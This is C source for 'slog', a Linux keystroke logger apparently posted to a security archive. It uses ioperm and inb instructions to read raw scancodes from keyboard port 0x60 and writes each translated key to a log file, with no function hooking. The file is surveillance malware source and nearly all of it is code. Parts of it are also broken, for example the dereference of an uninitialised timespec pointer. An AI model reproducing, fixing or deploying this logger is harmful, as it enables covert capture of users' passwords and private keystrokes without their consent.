Slog.c is a simple linux keystroke logger without function hooking. Tested on Redhat 7.2.
2c78e3a0f9e7cb2423fb65dd3e528fdf1b352a5d5ff0278632bb6128b7e40069
/* A simple linux key logger */
/* without function hooking */
/* tested on Redhat 7.2 */
/* by SLACKo slacko@mail.ru */
#define KeyPort 0x60
#include<time.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
int main(int argc,char **argv) {
struct timespec *whatever;
int n=0,c=0;
int fd;
if(argc < 2) {
fprintf(stderr,"Usage : ./vlog <logfile>\n");
exit(1);
}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1) {
perror("open()");
exit(1);
}
asm("int $0x80;": :"a"(101),"b"(KeyPort),"c"(1),"d"(1));
whatever->tv_sec = 0;
whatever->tv_nsec = 20;
while(1) {
c = n;
asm("inb %%dx,%%al;":"=a"(n):"a"(0),"d"(KeyPort));
switch(n) {
case(2) : n = '1' ;break;case(3) : n = '2';break;
case(4) : n = '3' ;break;case(5) : n = '4';break;
case(6) : n = '5' ;break;case(7) : n = '6';break;
case(8) : n = '7' ;break;case(9) : n = '8';break;
case(10) : n = '9' ;break;case(11) : n = '0';break;
case(12) : n = '-' ;break;case(13) : n = '+';break;
case(14) : n = '\b';break;case(16) : n = 'q';break;
case(17) : n = 'w' ;break;case(18) : n = 'e';break;
case(19) : n = 'r' ;break;case(20) : n = 't';break;
case(21) : n = 'y' ;break;case(22) : n = 'u';break;
case(23) : n = 'i' ;break;case(24) : n = 'o';break;
case(25) : n = 'p' ;break;case(26) : n = '[';break;
case(27) : n = ']' ;break;case(28) : n = '\n';break;
case(30) : n = 'a' ;break;case(31) : n = 's';break;
case(32) : n = 'd' ;break;case(33) : n = 'f';break;
case(34) : n = 'g' ;break;case(35) : n = 'h';break;
case(36) : n = 'j' ;break;case(37) : n = 'k';break;
case(38) : n = 'l' ;break;case(39) : n = ';';break;
case(40) : n = 39 ;break;case(41) : n = 96 ;break;
case(43) : n = 92 ;break;case(44) : n = 'z';break;
case(45) : n = 'x' ;break;case(46) : n = 'c';break;
case(47) : n = 'v' ;break;case(48) : n = 'b';break;
case(49) : n = 'n' ;break;case(50) : n = 'm';break;
case(51) : n = 180 ;break;case(52) : n = 46 ;break;
case(53) : n = '/' ;break;case(57) : n = 32 ;break;
default : n = 0 ;break;
}
if(n != c)
write(fd,&n,1);
asm("int $0x80"::"a"(162),"b"(whatever),"c"(0));
}
close(fd);
}